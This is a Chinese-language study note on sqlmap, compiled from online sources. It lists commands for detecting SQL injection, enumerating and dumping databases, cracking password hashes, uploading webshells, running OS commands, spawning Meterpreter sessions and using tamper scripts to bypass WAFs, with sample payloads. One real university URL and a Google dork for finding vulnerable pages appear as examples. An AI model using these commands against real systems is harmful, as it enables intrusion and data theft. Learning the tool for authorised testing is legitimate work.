SQLMAP学习笔记+网上收集资料
流程总览
这里是最常用的几条命令:
- 寻找注入点
GET方式
1 | sqlmap -u "url" //这个URL必须含? |
POST方式
1 | sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=1&tfUPass=1" |
cookie注入
1 | sqlmap -u "url" --cookie "chsadj" --level 2 //这里的URL去掉?及其后的内容,并将它们放在cookie的内容里面 |
tamper方式
1 | sqlmap -u "url" -v 3 --batch --tamper "sac.py" //temper后面的插件可以去sql安装目录查找 |
自动检测表
1 | sqlmap -u http://testasp.vulnweb.com/Login.asp --forms |
延时两秒
1 | Sqlmap –u “url” --delay 2 |
频率3次
1 | Sqlmap –u “url” --safe-freq 3 |
伪静态
1 | Sqlmap -u http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html //在40后面加* |
- 查看数据库
1 | sqlmap -u "url" --dbs //查看所有数据库 |
- 查看详细内容
1 | sqlmap -u "url" --tables -D "database" //database这个数据库的表数据表 |
- 执行特殊操作
文件查看
1 | sqlmap -u "url" –file-read= //这个读取的文件会存在本地的结果目录,请认真看提示 |
文件写入
1 | sqlmap -u "url" --file-write=本地文件路径 --file-dest=网站的绝对路径 //上传webshell用,需要dba权限 |
命令执行
1 | sqlmap -u "url" --os-cmd "cmd" //执行cmd代表的命令,如cd C:/ |
命令总览
使用sqlmap -hh
可以查看详细的命令说明:
1 | -r 1.txt 对于用post方法提交的,参数不在URL里面的网页,可以先截获数据,保存成文件再用这个参数执行 |
使用-l参数时,这样设置burpsuite:
用户手册-注入判断
用户手册来自乌云瞌睡龙,稍加分类方便查阅
当给sqlmap这么一个url的时候,它会:
1. 判断可注入的参数
2. 判断可以用那种SQL注入技术来注入
3. 识别出哪种数据库
4. 根据用户选择,读取哪些数据
sqlmap支持五种不同的注入模式:
1. 基于布尔的盲注,即可以根据返回页面判断条件(真\|假)的注入。
2. 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4. 联合查询注入,可以使用union的情况下的注入。
5. 堆查询注入,可以同时执行多条语句的执行时的注入。(使用;分隔开多条语句,最为灵活,可以自己构造select(含)外的其他语句)
sqlmap支持的数据库管理系统有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2,
SQLite, Firebird, Sybase和SAP MaxDB
可以提供一个简单的URL,Burp或WebScarab请求日志文件,文本文档中的完整http请求或者Google的搜索,匹配出结果页面,也可以自己定义一个正则来判断那个地址去测试。
测试GET参数,POST参数,HTTP Cookie参数,HTTP User-Agent头和HTTP Referer头来确认是否有SQL注入,它也可以指定用逗号分隔的列表的具体参数来测试。可以设定HTTP(S)请求的并发数,来提高盲注时的效率。
用来连接数据库
这是一个比较实用的功能,用来连接数据库格式为
设置显示信息的详细度:
使用-v参数,共有七个等级:
0. 只显示python错误以及严重的信息。
1. 同时显示基本信息和警告信息。(默认)
2. 同时显示debug信息。
3. 同时显示注入的payload。
4. 同时显示HTTP请求。
5. 同时显示HTTP响应头。
6. 同时显示HTTP响应页面。
可以通过学习sqlmap的payload来学习sql注入,这时需要使用3级。
获取目标方式
直接输入URL->参数:-u或者—url:
导入Burp或者WebScarab的代理日志日志文件->参数:-l(注意这个和-r参数读去文件的区别)
从文件中读入->参数:-m
文件中保存url格式如下,sqlmap会一个一个检测www.target1.com/vuln1.php?q=foobar www.target2.com/vuln2.asp?id=1 www.target3.com/vuln3/id/1*
从文件读入http请求,这时就不需要再进行其他的请求头设置了->参数:-r
比如文本文件内如下:POST /vuln.php HTTP/1.1 Host: www.target.com User-Agent: Mozilla/4.0 id=1
当请求是HTTPS的时候你需要配合这个–force-ssl参数来使用,或者你可以在Host头后面加上:443
处理Google的搜索结果->参数:-g
sqlmap可以测试注入Google的搜索结果中的GET参数(只获取前100个结果)。
例子:1
python sqlmap.py -g "inurl:\".php?id=1\""
此外可以使用-c参数加载sqlmap.conf文件里面的相关配置。(这个不懂)
从xml文件获取。
发送请求数据
http数据
参数:–data
此参数是把数据以POST方式提交,sqlmap会像检测GET参数一样检测POST的参数。
例子:
1 | python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users |
参数拆分字符
参数:–param-del
当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数(默认是&)。
例子:
1 | python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" |
HTTP cookie头
参数:–cookie,–load-cookies,–drop-set-cookie
这个参数在以下两个方面很有用:
1. web应用需要登陆的时候。
2. 你想要在这些头参数中测试SQL注入时。
可以通过抓包把cookie获取到,复制出来,然后加到–cookie参数里。
在HTTP请求中,遇到Set-Cookie的话,sqlmap会自动获取并且在以后的请求中加入,并且会尝试SQL注入。
如果你不想接受Set-Cookie可以使用–drop-set-cookie参数来拒接。
当你使用–cookie参数时,当返回一个Set-Cookie头的时候,sqlmap会询问你用哪个cookie来继续接下来的请求。当–level的参数设定为2或者2以上的时候,sqlmap会尝试注入Cookie参数。
HTTP User-Agent头
参数:–user-agent,–random-agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
(这可能直接会被过滤掉或是触发警报,可以使用真实浏览器的useragent,百度一下就有了)
可以使用–user-anget参数来修改,同时也可以使用–random-agnet参数来随机的从./txt/user-agents.txt中获取。
当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入。
HTTP Referer头
参数:–referer
sqlmap可以在请求中伪造HTTP中的referer,当–level参数设定为3或者3以上的时候会尝试对referer注入。
额外的HTTP头
参数:–headers
可以通过–headers参数来增加额外的http头
HTTP认证保护
参数:–auth-type,–auth-cred
这些参数可以用来登陆HTTP的认证保护支持三种方式:
1. Basic
2. Digest
3. NTLM
例子:
1 | python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" |
HTTP协议的证书认证
参数:–auth-cert
当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file。
key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。
HTTP(S)代理
参数:–proxy,–proxy-cred和–ignore-proxy
使用–proxy代理是格式为:http://url:port。
当HTTP(S)代理需要认证是可以使用–proxy-cred参数:username:password。
–ignore-proxy拒绝使用本地局域网的HTTP(S)代理。
HTTP请求延迟
参数:–delay
可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。
设定超时时间
参数:–timeout
可以设定一个HTTP(S)请求超过多久判定为超时,10.5表示10.5秒,默认是30秒。
设定重试超时
参数:–retries
当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。
设定随机改变的参数值
参数:–randomize
可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样。
利用正则过滤目标网址
参数:–scope
例如:
1 | python sqlmap.py -l burp.log --scope="(www)?\.target\.(com\|net\|org)" |
避免过多的错误请求被屏蔽
参数:–safe-url,–safe-freq
有的web应用程序会在你多次访问错误的请求时屏蔽掉你以后的所有请求,这样在sqlmap进行探测或者注入的时候可能造成错误请求而触发这个策略,导致以后无法进行。
绕过这个策略有两种方式:
1. --safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
2. --safe-freq:提供一个安全不错误的连接,一段频率后会访问一次。
关掉URL参数值编码
参数:–skip-urlencode
根据参数位置,他的值默认将会被URL编码,但是有些时候后端的web服务器不遵守RFC标准,只接受不经过URL编码的值,这时候就需要用–skip-urlencode参数。
每次请求时候执行自定义的python代码
参数:–eval
在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用–eval参数在每次请求时根据所写python代码做完修改后请求。
例子:
1 | python sqlmap.py -u |
上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。
注入
参数相关
指定要测试的参数->参数:-p
如: -p “id,user-anget”
指定要跳过测试的参数->–skip
如:–skip=”user-angent.referer”
对于伪静态链接,可以在想测试的参数后面加*,它会测试那个指定的参数
例如:
1 | python sqlmap.py -u "http://targeturl/param1/value1\*/param2/value2/" |
指定数据库管理系统->–dbms
不指定会自动探测,如果知道最好指定
MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft
Access、SQLite、Firebird、Sybase、SAP MaxDB、DB2
指定服务器系统->–os
不指定会自动探测,支持的有:Linux、Windows。
指定无效的大数字->–invalid-bignum
当你想指定一个报错的数值时,可以使用这个参数,例如默认情况系id=13,sqlmap会变成id=-13来报错,你可以指定比如id=9999999来报错。
指定无效的逻辑
参数:–invalid-logical
原因同上,可以指定id=13把原来的id=-13的报错改成id=13 AND 18=19。
注入payload
参数:–prefix,–suffix
在有些环境中,需要在注入的payload的前面或者后面加一些字符,来保证payload的正常执行。
例如,代码中是这样调用数据库的:
1 | $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1"; |
这时你就需要–prefix和–suffix参数了:
1 | python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix |
这样执行的SQL语句变成:
1 | $query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) |
探测
探测等级
参数:–level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根据相应的格式添加自己的payload。
这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。
总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
风险等级
参数:–risk
共有四个风险等级,默认是1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。
测试的语句同样可以在xml/payloads.xml中找到,你也可以自行添加payload。
页面比较
参数:–string,–not-string,–regexp,–code
默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用–string参数添加字符串,–regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(–not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数–code=200。
参数:–text-only,–titles
有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用–text-only(HTTP响应体中不同)–titles(HTML的title标签中不同)。
注入技术
测试是否是注入
参数:–technique
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
设定延迟注入的时间
参数:–time-sec
当使用继续时间的盲注时,时刻使用–time-sec参数设定延时时间,默认是5秒。
设定UNION查询字段数
参数:–union-cols
默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当–level为5的时候他会增加测试到50个字段数。设定–union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数。
设定UNION查询使用的字符
参数:–union-char
默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用–union-char只定UNION查询的字符。
二阶SQL注入
参数:–second-order
有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。–second-order后面跟一个判断页面的URL地址。
用户手册-获取数据
列数据
标志
参数:-b,–banner
大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。
用户
参数:-current-user
在大多数据库中可以获取到管理数据的用户。
当前数据库
参数:–current-db
返还当前连接的数据库。
当前用户是否为管理用
参数:–is-dba
判断当前的用户是否为管理,是的话会返回True。
列数据库管理用户
参数:–users
当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
列出并破解数据库用户的hash
参数:–passwords
当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft
SQL Server。
也可以提供-U参数来指定爆破哪个用户的hash。
列出数据库管理员权限
参数:–privileges
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。
列出数据库管理员角色
参数:–roles
当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。
仅适用于当前数据库是Oracle的时候。
列出数据库系统的数据库
参数:–dbs
当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。
列举数据库表
参数:–tables,–exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
1 | sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details" |
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
–exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:–columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
列举数据库系统的架构
参数:–schema,–exclude-sysdbs
用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。
加上–exclude-sysdbs参数,将不会获取数据库自带的系统库内容。
MySQL例子:
1 | sqlmap -u "http://192.168.163.138/mutillidae/index.php?page=user-info.php&username=111&password=12123&user-info-php-submit-button=View+Account+Details" |
获取表中数据个数
参数:–count
有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。
1 | sqlmap -u |
获取整个表的数据
参数:–dump,-C,-T,-D,–start,–stop,–first,–last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不使用-D参数时,默认使用当前库。
可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。
也可以用-dump跟-C获取指定的字段内容。
sqlmap为每个表生成了一个CSV文件。
如果你只想获取一段数据,可以使用–start和–stop参数,例如,你只想获取第一段数据可hi使用–stop
1,如果想获取第二段与第三段数据,使用参数 –start 1 –stop 3。
也可以用–first与–last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用–first
3 –last
5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。
获取所有数据库表的内容
参数:–dump-all,–exclude-sysdbs
使用–dump-all参数获取所有数据库表的内容,可同时加上–exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft
SQL
Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。
搜索字段,表,数据库
参数:–search,-C,-T,-D
–search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。
可以在一下三种情况下使用:
-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
运行自定义的SQL语句
参数:–sql-query,–sql-shell
sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。
如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。
列举一个Mircrosoft SQL Server 2000的例子:
1 | $ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" |
爆破
暴力破解表名
参数:–common-tables
当使用–tables无法获取到数据库的表时,可以使用此参数。
通常是如下情况:
1. MySQL数据库版本小于5.0,没有information_schema表。
2. 数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3. 当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。
暴力破解列名
参数:–common-columns
与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。
可以选择多线程来尝试破解。
用户手册-Tamper脚本
Tamper就是一些脚本,用来编码payload来绕过waf检查过滤的。下面对绕过进行了分类。来源91ri
另外脚本采用Python编写可以直接打开查看内容。
也可以自己写一些tamper,所谓tamper就是替换,比如过滤了,
那么就把所有含,
的语句写成不含,
的语句。
针对过滤空格的:
space2dash.py
作用:用”– 随机字符串%0A” 替换原来的空格
示例:
1 | '1 AND 9227=9227' |
原理是–n是注释,后面内容不生效,%0A为换行符,这样就可以不使用空格分隔了。
在以下版本做过测试:
- MSSQL
- SQLite
space2hash.py
作用:空格替换为#号 随机字符串 以及换行符
示例:
1 | 1 AND 9227=9227 |
版本要求:
- MySQL
在以下版本做过测试: - MySQL 4.0, 5.0
space2morehash.py
作用:空格替换为 #号 以及更多随机字符串 换行符(和上一条原理一致)
示例:
1 | 1 AND 9227=9227 |
版本要求:
- Microsoft SQL Server
在以下版本做过测试: - Microsoft SQL Server 2000
- Microsoft SQL Server 2005
space2mysqlblank.py
作用:空格替换其它空白符号
示例:
1 | SELECT id FROM users |
版本要求:
- MySQL
在以下版本做过测试: - MySQL 5.1
space2mssqlhash.py
作用:替换空格
示例:
1 | '1 AND 9227=9227' |
版本要求:
- MSSQL
- MySQL
modsecurityversioned.py
作用:过滤空格,包含完整的查询版本注释
示例:
1 | '1 AND 2>1--' |
版本要求:
- MySQL
在以下版本做过测试: - MySQL 5.0
space2comment.py
作用:Replaces space character (‘ ‘) with comments ‘/**/’
示例:
1 | SELECT id FROM users |
在以下版本做过测试:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
space2mysqldash.py
作用:用–%0A替换空格
注:之前有个mssql的 这个是mysql的
示例:
1 | '1 AND 9227=9227' |
版本要求:
- MySQL
- MSSQL
space2plus.py
作用:用+替换空格
示例:
1 | 'SELECT id FROM users' |
在以下版本做过测试:
All
bluecoat.py
作用:代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like
示例:
1 | 'SELECT id FROM users where id = 1' |
在以下版本做过测试:
- MySQL 5.1, SGOS
space2randomblank.py
作用:代替空格字符(“”)从一个随机的空白字符可选字符的有效集
示例:
1 | 'SELECT id FROM users' |
在以下版本做过测试:
All
sp_password.py
作用:追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
示例:
1 | '1 AND 9227=9227-- ' |
版本要求: * MSSQL
针对过滤引号的:
apostrophemask.py
作用:用utf8代替单引号
示例:
1 | "1 AND '1'='1" |
在以下版本做过测试:
all
apostrophenullencode.py
作用:绕过过滤双引号,替换字符和双引号。
示例:
1 | "1 AND '1'='1" |
在以下版本做过测试:
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
针对过滤关键字的:
halfversionedmorekeywords.py
作用:当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
示例:
1 | ("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" |
版本要求:
MySQL < 5.1
在以下版本做过测试:
MySQL 4.0.18, 5.0.22
ifnull2ifisnull.py
作用:绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’
示例:
1 | 'IFNULL(1, 2)' |
版本要求:
- MySQL
- SQLite (possibly)
- SAP MaxDB (possibly)
在以下版本做过测试: - MySQL 5.0 and 5.5
multiplespaces.py
作用:围绕SQL关键字添加多个空格
示例:
1 | '1 UNION SELECT foobar' |
在以下版本做过测试:
All
halfversionedmorekeywords.py
作用:关键字前加注释
示例:
1 | value’ UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND ‘QDWa’='QDWa |
版本要求:
- MySQL < 5.1
在以下版本做过测试: - MySQL 4.0.18, 5.0.22
unionalltounion.py
作用:替换UNION ALL SELECT UNION SELECT
示例:
1 | '-1 UNION ALL SELECT' |
版本要求: all
randomcomments.py
作用:用/**/分割sql关键字
‘INSERT’
‘IN//S//ERT’
unmagicquotes.py
作用:宽字符绕过 GPC addslashes
示例:
1 | 1’ AND 1=1 |
randomcase.py
作用:随机大小写
示例:
INSERT
InsERt
在以下版本做过测试:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
针对过滤比较符号的:
equaltolike.py
作用:like 代替等号
示例:
1 | SELECT * FROM users WHERE id=1 |
greatest.py
作用:绕过过滤’>’ ,用GREATEST替换大于号。
示例:
1 | '1 AND A > B' |
在以下版本做过测试:
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
between.py
作用:用between替换大于号(>)
示例:
1 | '1 AND A > B--' |
在以下版本做过测试:
*Microsoft SQL Server 2005
*MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
其他类型:
versionedmorekeywords.py
作用:注释绕过
示例:
1 | 1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# |
版本要求:
- MySQL >= 5.1.13
securesphere.py
作用:追加特制的字符串
示例:
1 | '1 AND 1=1' |
在以下版本做过测试:
All
charunicodeencode.py
作用:字符串 unicode 编码
示例:
1 | SELECT FIELD%20FROM TABLE |
版本要求:
- ASP
- ASP.NET
在以下版本做过测试: - Microsoft SQL Server 2000
- Microsoft SQL Server 2005
- MySQL 5.1.56
- PostgreSQL 9.0.3
charencode.py
作用:url编码
示例:
1 | SELECT FIELD FROM%20TABLE |
在以下版本做过测试:
- Microsoft SQL Server 2005
- MySQL 4, 5.0 and 5.5
- Oracle 10g
- PostgreSQL 8.3, 8.4, 9.0
appendnullbyte.py
作用:在有效负荷结束位置加载零字节字符编码
‘1 AND 1=1’
‘1 AND 1=1%00’
版本要求:
- Microsoft Access
chardoubleencode.py
作用: 双url编码(不处理以编码的)
示例:
1 | SELECT FIELD FROM%20TABLE |
base64encode.py
作用:用base64编码替换
示例:
1 | "1' AND SLEEP(5)#" |
版本要求:
all
nonrecursivereplacement.py
作用:双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
示例:
1 | '1 UNION SELECT 2--' |
在以下版本做过测试:
all
用户手册-其他高级
用户自定义函数注入
参数:–udf-inject,–shared-lib
你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。
系统文件操作
从数据库服务器中读取文件
参数:–file-read
当数据库为MySQL,PostgreSQL或Microsoft SQL
Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
把文件上传到数据库服务器中
参数:–file-write,–file-dest
当数据库为MySQL,PostgreSQL或Microsoft SQL
Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
运行任意操作系统命令
参数:–os-cmd,–os-shell
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。
在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。
那么他创建的这两个函数可以执行系统命令。在Microsoft SQL
Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server
2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。
用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。
当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO
OUTFILE写进可写目录,来创建一个web后门。支持的语言:
1、ASP
2、ASP.NET
3、JSP
4、PHP
Meterpreter配合使用
参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path
当数据库为MySQL,PostgreSQL或Microsoft SQL
Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:
1. 通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2. 通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3. 通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4. 通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof
列举一个MySQL例子:
1 | $ python sqlmap.py -u |
默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。
对Windows注册表操作
当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。当然,当前连接数据库的用户也需要有权限操作注册表。
读取注册表值
参数:–reg-read
写入注册表值
参数:–reg-add
删除注册表值
参数:–reg-del
注册表辅助选项
参数:–reg-key,–reg-value,–reg-data,–reg-type
需要配合之前三个参数使用,例子:
1 | \$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 |
常规参数
从sqlite中读取session
参数:-s
sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。
保存HTTP(S)日志
参数:-t
这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。
非交互模式
参数:–batch
用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。
强制使用字符编码
参数:–charset
不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:
–charset=GBK
爬行网站URL
参数:–crawl
sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。
例子:
1 | $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3 |
规定输出到CSV中的分隔符
参数:–csv-del
当dump保存为CSV格式时(–dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的
如:
–csv-del=”;”
DBMS身份验证
参数:–dbms-cred
某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft
SQL Server的OPENROWSET函数
定义dump数据的格式
参数:–dump-format
输出的格式可定义为:CSV,HTML,SQLITE
预估完成时间
参数:–eta
可以计算注入数据的剩余时间。
例如Oracle的布尔型盲注:
1 | $ python sqlmap.py -u |
sqlmap先输出长度,预计完成时间,显示百分比,输出字符
刷新session文件
参数:–flush-session
如果不想用之前缓存这个目标的session文件,可以使用这个参数。
会清空之前的session,重新测试该目标。
自动获取form表单测试
参数:–forms
如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。
但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。
忽略在会话文件中存储的查询结果
参数:–fresh-queries
忽略session文件保存的查询,重新查询。
使用DBMS的hex函数
参数:–hex
有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:
针对PostgreSQL例子:
1 | $ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" |
自定义输出的路径
参数:–output-dir
sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径
例如:–output-dir=/tmp
从响应中获取DBMS的错误信息
参数:–parse-errors
有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。
1 | $ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" |
其他的一些参数
使用参数缩写
参数:-z
有使用参数太长太复杂,可以使用缩写模式。 例如:
1 | python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u |
可以写成:
1 | python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1" |
还有:
1 | python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb |
可以写成:
1 | python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u |
成功SQL注入时警告
参数:–alert
设定会发的答案
参数:–answers
当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:
